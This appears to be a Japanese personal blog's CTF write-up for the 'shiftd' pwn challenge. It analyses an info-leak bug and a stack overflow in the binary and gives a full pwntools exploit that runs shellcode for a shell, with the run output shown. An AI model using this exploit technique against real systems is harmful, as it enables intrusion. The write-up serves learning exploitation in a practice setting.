mattun-martの日記

セキュリティとかCTFとか.早く入門したい.

pwnlist baby shiftd

下調べ

shiftd: ELF 64-bit LSB  executable
 x86-64
 version 1 (SYSV)
 dynamically linked (uses shared libs)
 for GNU/Linux 2.6.24
 BuildID[sha1]=910854336439f51f20ebad1a772e36df392012ab
 stripped
$ checksec.sh --file shiftd 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   shiftd


実行ファイルはUbuntu14.04 64bitで動作させてる.
NXやSSPが無効でいろいろできそう.ストリップされてるのが面倒だなぁ.

解析

実行すると入力待ちになるので,てきとうに入力してみる...終了した.
仕方がないので,objdump,gdb-peda等を駆使してバイナリの中身を解析していく.

f:id:mattun_mart:20170910215015p:plain

入力した値と文字列"NowIsTheWinterOfOurDiscountTent"と比較して,一致した場合は処理を進めている.
再度実行し,NowIsTheWinterOfOurDiscountTentを入力すると,次は名前を聞かれるのでテキトーに入力.

Welcome to Shifty's Time Formatting Service!
What is your name?
aaaa
Welcome, aaaa�!

なんか文字化けしている.バグあるっぽい.ひとまず詳しい解析は後にして,そのまま処理を進める.
time formatを入力しろと言われるのでテキトーに入力.

Please provide a time format:
%p
Your formatted time is:
PM

Thank you! Come again!

指定されたtimeフォーマットが表示されて終了.

その後詳しく動作を解析すると,次のような流れで動作するようだ.

  1. 1回目の入力内容と文字列"NowIsTheWinterOfOurDiscountTent"を比較して,一致した場合処理を進める.
  2. 2回目の入力で名前を入力
  3. 3回目の入力でtime formatを入力
  4. time関数,localtime関数を使って現在時刻を取得
  5. 入力されたtime formatの内容に基づいてstrftime関数を用いて時刻を表示.

それでどこにバグがあるかというと,名前入力とformat time入力にそれぞれバグがある.

名前入力のバグ

入力文字数は最大16文字と制限されていて問題ない.
しかし,入力された文字の末尾にNULL文字を挿入していないため,文字列以降のデータ(\x00がくるまで)も読み込まれてしまっている.
運のいいことに改行だけ入力してみると,スタックアドレスをリークしてくれる.

f:id:mattun_mart:20170910221932p:plain
どうやら,先ほど比較に使用した文字列"NowIsTheWinterOfOurDiscountTent"のスタックアドレス0x7fffffffdef0を表示しているらしい.
Exploitを書くときに使えそう.

format time入力のバグ

入力可能文字数がとんでもなくでかい.

   0x400931:	mov    rax,QWORD PTR [rip+0x200730]        # 0x601068
   0x400938:	mov    rcx,rax
   0x40093b:	and    ecx,0x7fffffff  # 入力の最大値
=> 0x400941:	lea    rax,[rbp-0x420] # 入力内容を保存する領域
   0x400948:	mov    edx,0xa
   0x40094d:	mov    rsi,rcx
   0x400950:	mov    rdi,rax
   0x400953:	call   0x4007f4 #入力関数

入力関数を呼び出す前に,入力内容を保存する領域を0x420の大きさで確保しているが,入力関数の入力可能文字数を指定する引数に与えている値は0x77DD4868.
このバイナリはSSPが無効なので余裕でバッファオーバーフローできる.
スタックの中は次の図のような感じになっているので,format timeの入力の際0x428番目からリターンアドレスを指定すれば好きなように書き換えられる.
f:id:mattun_mart:20170910231428p:plain

あとはExploit組み立てればOK.

Exploit

このバイナリはNXが無効になっているため,どこかにシェルコードを積んで,実行してあげればよさそう.
どこに積むかが問題だが,幸いスタック内のアドレスをリークできているのでこれを使えば,format timeの入力内容を確保しているスタックのアドレスを計算できる.
format timeの入力内容を確保しているスタックのアドレスとリークしたスタックのアドレスのoffsetは0x440だった.


ってことで,Exploitコード.

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import struct
context.arch = 'amd64'

conn = process('./shiftd')

conn.send('NowIsTheWinterOfOurDiscountTent\n')
conn.recv()
conn.send('\n')
conn.recvuntil('Welcome, ')
name = conn.recv(6)

leak_stack_addr = u64(name + '\x00\x00')
target_addr = leak_stack_addr - 0x440
shellcode = asm(shellcraft.sh())

payload = shellcode
payload += "A" * (0x428 - len(shellcode))
payload += p64(target_addr)
payload += '\n'

conn.send(payload)

conn.interactive()

結果

mattun-mart@4ctf:~/pwn/baby/shiftd$ python exploit.py 
[+] Starting local process './shiftd': pid 13700
[*] Switching to interactive mode
!
Please provide a time format:
Your formatted time is:
jhH\xb8/bin///sPH\x89�hri\x814$1�V^H�VH\x89�1�j;X\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Thank you! Come again!
$ ls
dump  exploit.py  peda-session-shiftd.txt  shiftd